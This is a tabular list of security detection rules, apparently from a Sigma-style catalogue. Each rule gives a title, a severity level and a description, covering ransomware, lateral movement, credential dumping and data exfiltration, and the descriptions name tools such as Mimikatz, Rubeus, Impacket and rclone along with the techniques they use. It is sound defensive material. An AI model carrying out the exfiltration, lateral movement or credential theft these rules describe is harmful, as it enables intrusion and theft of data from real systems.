LockerGoga Ransomware Activity	critical	Detects LockerGoga ransomware activity via specific command line.
Potential Maze Ransomware Activity	critical	Detects specific process characteristics of Maze ransomware word document droppers
Potential BlackByte Ransomware Activity	high	Detects command line patterns used by BlackByte ransomware in different operations
Potential Conti Ransomware Activity	critical	Detects a specific command used by the Conti ransomware group
BlueSky Ransomware Artefacts	high	Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt.
CVE-2024-49113 Exploitation Attempt - LDAP Nightmare	high	Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll".
Amsi.DLL Load By Uncommon Process	low	Detects loading of Amsi.dll by uncommon processes
Process Terminated Via Taskkill	low	Detects execution of "taskkill.exe" in order to stop a service or a process. Look for suspicious parents executing this command in order to hunt for potential malicious activity. Attackers might leverage this in order to conduct data destruction or data encrypted for impact on the data stores of services like Exchange and SQL Server.
Multiple Modsecurity Blocks	medium	Detects multiple blocks by the mod_security module (Web Application Firewall)
Suspicious Multiple File Rename Or Delete Occurred	medium	Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).

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Title	Level	Description
Suspicious Epmap Connection	high	Detects suspicious "epmap" connection to a remote computer via remote procedure call (RPC)
PsExec Pipes Artifacts	medium	Detecting use PsExec via Pipe Creation/Access to pipes
DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon	critical	Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.
Lateral Movement Indicator ConDrv	low	This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context.
OpenCanary - SMB File Open Request	high	Detects instances where an SMB service on an OpenCanary node has had a file open request.
OpenCanary - SNMP OID Request	high	Detects instances where an SNMP service on an OpenCanary node has had an OID request.
OpenCanary - SSH Login Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a login attempt.
OpenCanary - SSH New Connection Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a connection attempt.
OpenCanary - VNC Connection Attempt	high	Detects instances where a VNC service on an OpenCanary node has had a connection attempt.
Remote Schedule Task Lateral Movement via ATSvc	high	Detects remote RPC calls to create or execute a scheduled task via ATSvc
Remote Encrypting File System Abuse	high	Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR
Remote Schedule Task Lateral Movement via ITaskSchedulerService	high	Detects remote RPC calls to create or execute a scheduled task
Remote Printing Abuse for Lateral Movement	high	Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR
Remote DCOM/WMI Lateral Movement	high	Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.
Remote Registry Lateral Movement	high	Detects remote RPC calls to modify the registry and possible execute code
Remote Server Service Abuse	high	Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS
Remote Server Service Abuse for Lateral Movement	high	Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR
Remote Schedule Task Lateral Movement via SASec	high	Detects remote RPC calls to create or execute a scheduled task via SASec
AWS Console GetSigninToken Potential Abuse	medium	Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.
AWS STS AssumeRole Misuse	low	Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.
AWS STS GetSessionToken Misuse	low	Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.
AWS Suspicious SAML Activity	medium	Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.
Bitbucket Global SSH Settings Changed	medium	Detects Bitbucket global SSH access configuration changes.
Remote File Copy	low	Detects the use of tools that copy files from or to remote systems
Cisco Stage Data	low	Various protocols maybe used to put data on the device for exfil or infil
SMB Spoolss Name Piped Usage	medium	Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.
OMIGOD HTTP No Authentication RCE	high	Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
Publicly Accessible RDP Service	high	Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.
Remote Task Creation via ATSVC Named Pipe - Zeek	medium	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
First Time Seen Remote Named Pipe - Zeek	high	This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes
Suspicious PsExec Execution - Zeek	high	detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one
Apache Threading Error	medium	Detects an issue in apache logs that reports threading related errors
Mimikatz Use	high	This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)
Audit CVE Event	critical	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
NTLM Logon	low	Detects logons using NTLM, which could be caused by a legacy source or attackers
OpenSSH Server Listening On Socket	medium	Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.
Access To ADMIN$ Network Share	low	Detects access to ADMIN$ network share
Remote Task Creation via ATSVC Named Pipe	medium	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
CobaltStrike Service Installations - Security	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
DCERPC SMB Spoolss Named Pipe	medium	Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.
DCOM InternetExplorer.Application Iertutil DLL Hijack - Security	high	Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.
External Disk Drive Or USB Storage Device Was Recognized By The System	low	Detects external disk drives or plugged-in USB devices.
Persistence and Execution at Scale via GPO Scheduled Task	high	Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale
Impacket PsExec Execution	high	Detects execution of Impacket's psexec.py.
First Time Seen Remote Named Pipe	high	This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes
Metasploit SMB Authentication	high	Alerts on Metasploit host's authentications on the domain.
Metasploit Or Impacket Service Installation Via SMB PsExec	high	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
Denied Access To Remote Desktop	medium	This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.
Protected Storage Service Access	high	Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers
RDP over Reverse SSH Tunnel WFP	high	Detects svchost hosting RDP termsvcs communicating with the loopback address
Register new Logon Process by Rubeus	high	Detects potential use of Rubeus via registered new trusted logon process
SMB Create Remote File Admin Share	high	Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).
Suspicious Remote Logon with Explicit Credentials	medium	Detects suspicious processes logging on with explicit credentials
Uncommon Outbound Kerberos Connection - Security	medium	Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.
Suspicious PsExec Execution	high	detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one
Remote Service Activity via SVCCTL Named Pipe	medium	Detects remote service activity via remote access to the svcctl named pipe
User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'	high	The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.
T1047 Wmiprvse Wbemcomn DLL Hijack	high	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network for a WMI DLL Hijack scenario.
Admin User Remote Logon	low	Detect remote login by Administrator user (depending on internal pattern).
RDP Login from Localhost	high	RDP login with localhost source address may be a tunnelled login
Successful Overpass the Hash Attempt	high	Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.
Scanner PoC for CVE-2019-0708 RDP RCE Vuln	high	Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep
Pass the Hash Activity 2	medium	Detects the attack technique pass the hash which is used to move laterally inside the network
Outgoing Logon with New Credentials	low	Detects logon events that specify new credentials
NTLMv1 Logon Between Client and Server	medium	Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.
Zerologon Exploitation Using Well-known Tools	critical	This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.
CobaltStrike Service Installations - System	critical	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
smbexec.py Service Installation	high	Detects the use of smbexec.py tool by detecting a specific service installation
Potential RDP Exploit CVE-2019-0708	medium	Detect suspicious error on protocol RDP, potential CVE-2019-0708
PSExec and WMI Process Creations Block	high	Detects blocking of process creations originating from PSExec and WMI commands
Potential DCOM InternetExplorer.Application DLL Hijack	critical	Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network
PSEXEC Remote Execution File Artefact	high	Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system
Wmiexec Default Output File	critical	Detects the creation of the default output filename used by the wmiexec tool
Wmiprvse Wbemcomn DLL Hijack - File	critical	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
Writing Local Admin Share	medium	Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks.
Potential DCOM InternetExplorer.Application DLL Hijack - Image Load	critical	Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load	medium	Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.
Wmiprvse Wbemcomn DLL Hijack	high	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
Suspicious WSMAN Provider Image Loads	medium	Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.
Outbound RDP Connections Over Non-Standard Tools	high	Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use.
RDP Over Reverse SSH Tunnel	high	Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389
RDP to HTTP or HTTPS Target Ports	high	Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443
Uncommon Outbound Kerberos Connection	medium	Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.
Potential Remote PowerShell Session Initiated	high	Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.
PUA - CSExec Default Named Pipe	medium	Detects default CSExec pipe creation
PUA - RemCom Default Named Pipe	medium	Detects default RemCom pipe creation
Remote PowerShell Session (PS Classic)	low	Detects remote PowerShell sessions
Suspicious Non PowerShell WSMAN COM Provider	medium	Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.
HackTool - Evil-WinRm Execution - PowerShell Module	high	Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.
Remote PowerShell Session (PS Module)	high	Detects remote PowerShell sessions
Enable Windows Remote Management	medium	Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
HackTool - Rubeus Execution - ScriptBlock	high	Detects the execution of the hacktool Rubeus using specific command line flags
Execute Invoke-command on Remote Host	medium	Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
Suspicious New-PSDrive to Admin Share	medium	Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
Remote LSASS Process Access Through Windows Remote Management	high	Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.
HackTool - WinRM Access Via Evil-WinRM	medium	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
HackTool - Potential Impacket Lateral Movement Activity	high	Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework
HackTool - KrbRelayUp Execution	high	Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced
HackTool - Rubeus Execution	critical	Detects the execution of the hacktool Rubeus via PE information of command line parameters
HackTool - SharpMove Tool Execution	high	Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options.
HackTool - SharpWSUS/WSUSpendu Execution	high	Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.
HackTool - Wmiexec Default Powershell Command	high	Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script
Suspicious SysAidServer Child	medium	Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)
MMC Spawning Windows Shell	high	Detects a Windows command line executable started from MMC
Potential MSTSC Shadowing Activity	high	Detects RDP session hijacking by using MSTSC shadowing
New Remote Desktop Connection Initiated Via Mstsc.EXE	medium	Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Mstsc.EXE Execution From Uncommon Parent	high	Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.
New Port Forwarding Rule Added Via Netsh.EXE	medium	Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule
RDP Port Forwarding Rule Added Via Netsh.EXE	high	Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule
Windows Admin Share Mount Via Net.EXE	medium	Detects when an admin share is mounted using net.exe
Password Provided In Command Line Of Net.EXE	medium	Detects a when net.exe is called with a password in the command line
Windows Internet Hosted WebDav Share Mount Via Net.EXE	high	Detects when an internet hosted webdav share is mounted using the "net.exe" utility
Windows Share Mount Via Net.EXE	low	Detects when a share is mounted using the "net.exe" utility
Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp	high	Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.
PDQ Deploy Remote Adminstartion Tool Execution	medium	Detect use of PDQ Deploy remote admin tool
Suspicious Plink Port Forwarding	high	Detects suspicious Plink tunnel port forwarding to a local port
PUA - Radmin Viewer Utility Execution	medium	Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines
Potential Tampering With RDP Related Registry Keys Via Reg.EXE	high	Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values
Rundll32 Execution Without Parameters	high	Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module
Port Forwarding Activity Via SSH.EXE	medium	Detects port forwarding activity via SSH.exe
User Added to Remote Desktop Users Group	high	Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember".
Copy From Or To Admin Share Or Sysvol Folder	medium	Detects a copy command or a copy utility execution to or from an Admin share or remote
Privilege Escalation via Named Pipe Impersonation	high	Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.
Potential Remote Desktop Tunneling	medium	Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.
Terminal Service Process Spawn	high	Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)
Suspicious RDP Redirect Using TSCON	high	Detects a suspicious RDP session redirect using tscon.exe
Suspicious UltraVNC Execution	high	Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)
Potential Persistence Via Logon Scripts - Registry	medium	Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors
New PortProxy Registry Entry Added	medium	Detects the modification of the PortProxy registry key which is used for port forwarding.
Potential CobaltStrike Service Installations - Registry	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.
Turla Group Lateral Movement	critical	Detects automated lateral movement by Turla group
WannaCry Ransomware Activity	critical	Detects WannaCry ransomware activity
APT31 Judgement Panda Activity	critical	Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report
Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC	high	Detects the execution of the commonly used ZeroLogon PoC executable.
Possible Exploitation of Exchange RCE CVE-2021-42321	high	Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321
Hermetic Wiper TG Process Patterns	high	Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022
Potential CVE-2023-46214 Exploitation Attempt	medium	Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing
Exploitation Attempt Of CVE-2023-46214 Using Public POC Code	high	Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code
User with Privileges Logon	low	Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
Potential Pass the Hash Activity	medium	Detects the attack technique pass the hash which is used to move laterally inside the network
Interactive Logon to Server Systems	medium	Detects interactive console logons to Server Systems
New RDP Connection Initiated From Domain Controller	high	Detects an RDP connection originating from a domain controller.
Potential Remote WMI ActiveScriptEventConsumers Activity	medium	Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity.
SMB over QUIC Via PowerShell Script	medium	Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments
Net.EXE Execution	low	Detects execution of "Net.EXE".
SMB over QUIC Via Net.EXE	medium	Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments.
Mimikatz In-Memory	medium	Detects certain DLL loads when Mimikatz gets executed
Automated Turla Group Lateral Movement	medium	Detects automated lateral movement by Turla group
Metasploit Or Impacket Service Installation Via SMB PsExec	high	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation
Remote Schtasks Creation	medium	Detects remote execution via scheduled task creation or update on the destination host
Failed Mounting of Hidden Share	medium	Detects repeated failed (outgoing) attempts to mount a hidden share

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Title	Level	Description
Microsoft Binary Github Communication	high	Detects an executable in the Windows folder accessing github.com
Dnscat Execution	critical	Dnscat exfiltration tool execution
Suspicious Bitstransfer via PowerShell	medium	Detects transferring files from system on a server bitstransfer Powershell cmdlets
RClone Execution	high	Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc
Rclone Execution via Command Line or PowerShell	high	Detects Rclone which is commonly used by ransomware groups for exfiltration
OpenCanary - FTP Login Attempt	high	Detects instances where an FTP service on an OpenCanary node has had a login attempt.
OpenCanary - TFTP Request	high	Detects instances where a TFTP service on an OpenCanary node has had a request.
Suspicious SQL Query	medium	Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields
AWS EC2 VM Export Failure	low	An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.
AWS RDS Master Password Change	medium	Detects the change of database master password. It may be a part of data exfiltration.
Modification or Deletion of an AWS RDS Cluster	high	Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.
Restore Public AWS RDS Instance	high	Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.
AWS S3 Data Management Tampering	low	Detects when a user tampers with S3 data management in Amazon Web Services.
AWS Snapshot Backup Exfiltration	medium	Detects the modification of an EC2 snapshot's permissions to enable access from another account
Data Exfiltration to Unsanctioned Apps	medium	Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.
Suspicious Inbox Forwarding	low	Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.
Suspicious OAuth App File Download Activities	medium	Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.
Data Compressed	low	An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Data Exfiltration with Wget	medium	Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.
Split A File Into Pieces - Linux	low	Detection use of the command "split" to split files into parts and possible transfer.
Communication To Ngrok Tunneling Service - Linux	high	Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Suspicious Curl File Upload - Linux	medium	Detects a suspicious curl process start the adds a file to a web request
Disk Image Creation Via Hdiutil - MacOS	medium	Detects the execution of the hdiutil utility in order to create a disk image.
Split A File Into Pieces	low	Detection use of the command "split" to split files into parts and possible transfer.
Cisco Stage Data	low	Various protocols maybe used to put data on the device for exfil or infil
Monero Crypto Coin Mining Pool Lookup	high	Detects suspicious DNS queries to Monero mining pools
Suspicious DNS Query with B64 Encoded String	medium	Detects suspicious DNS queries using base64 encoding
DNS TOR Proxies	medium	Identifies IPs performing DNS lookups associated with common Tor proxies.
WebDav Put Request	low	A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.
Rclone Activity via Proxy	medium	Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string
Suspicious Windows Strings In URI	high	Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication
DNS Query for Anonfiles.com Domain - DNS Client	high	Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes
DNS Query To MEGA Hosting Website - DNS Client	medium	Detects DNS queries for subdomains related to MEGA sharing website
DNS Query To Ufile.io - DNS Client	low	Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration
Tap Driver Installation - Security	low	Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques.
Tap Driver Installation	medium	Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques
DNS Query for Anonfiles.com Domain - Sysmon	high	Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes
DNS Query To MEGA Hosting Website	medium	Detects DNS queries for subdomains related to MEGA sharing website
DNS Query To Ufile.io	low	Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration
Rclone Config File Creation	medium	Detects Rclone config files being created
Network Connection Initiated To BTunnels Domains	medium	Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
Network Connection Initiated To Cloudflared Tunnels Domains	medium	Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
Network Connection Initiated To DevTunnels Domain	medium	Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
Network Connection Initiated To Mega.nz	low	Detects a network connection initiated by a binary to "api.mega.co.nz". Attackers were seen abusing file sharing websites similar to "mega.nz" in order to upload/download additional payloads.
Process Initiated Network Connection To Ngrok Domain	high	Detects an executable initiating a network connection to "ngrok" domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.
Communication To Ngrok Tunneling Service Initiated	high	Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.
Network Communication Initiated To Portmap.IO Domain	medium	Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors
Network Connection Initiated To Visual Studio Code Tunnels Domain	medium	Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
Suspicious Outbound SMTP Connections	medium	Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Potential Data Exfiltration Via Audio File	medium	Detects potential exfiltration attempt via audio file using PowerShell
Suspicious PowerShell Mailbox SMTP Forward Rule	medium	Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.
PowerShell ICMP Exfiltration	medium	Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.
Powershell DNSExfiltration	high	DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel
Suspicious PowerShell Mailbox Export to Share - PS	critical	Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations
PowerShell Script With File Hostname Resolving Capabilities	medium	Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.
PowerShell Script With File Upload Capabilities	low	Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method.
Arbitrary File Download Via ConfigSecurityPolicy.EXE	medium	Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files.
Active Directory Structure Export Via Csvde.EXE	medium	Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.
DNS Exfiltration and Tunneling Tools Execution	high	Well-known DNS Exfiltration tools execution
Active Directory Structure Export Via Ldifde.EXE	medium	Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.
LOLBAS Data Exfiltration by DataSvcUtil.exe	medium	Detects when a user performs data exfiltration by using DataSvcUtil.exe
Email Exifiltration Via Powershell	high	Detects email exfiltration via powershell cmdlets
Suspicious PowerShell Mailbox Export to Share	critical	Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations
PUA - Rclone Execution	high	Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc
Exports Critical Registry Keys To a File	high	Detects the export of a crital Registry key to a file.
Exports Registry Key To a File	low	Detects the export of the target Registry key to a file.
Suspicious WebDav Client Execution Via Rundll32.EXE	high	Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397
WebDav Client Execution Via Rundll32.EXE	medium	Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).
Copy From Or To Admin Share Or Sysvol Folder	medium	Detects a copy command or a copy utility execution to or from an Admin share or remote
Suspicious Redirection to Local Admin Share	high	Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers
Tap Installer Execution	medium	Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques
Compressed File Creation Via Tar.EXE	low	Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.
Compressed File Extraction Via Tar.EXE	low	Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.
APT40 Dropbox Tool User Agent	high	Detects suspicious user agent string of APT40 Dropbox tool
Potential CVE-2023-23397 Exploitation Attempt - SMB	medium	Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.
Mail Forwarding/Redirecting Activity In O365	medium	Detects email forwarding or redirecting acitivty in O365 Audit logs.
Compress-Archive Cmdlet Execution	low	Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.
Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet	medium	Detects the execution of a PowerShell script with a call to the "Send-MailMessage" cmdlet along with the "-Attachments" flag. This could be a potential sign of data exfiltration via Email. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Potential Data Exfiltration Via Curl.EXE	medium	Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration
Tunneling Tool Execution	medium	Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
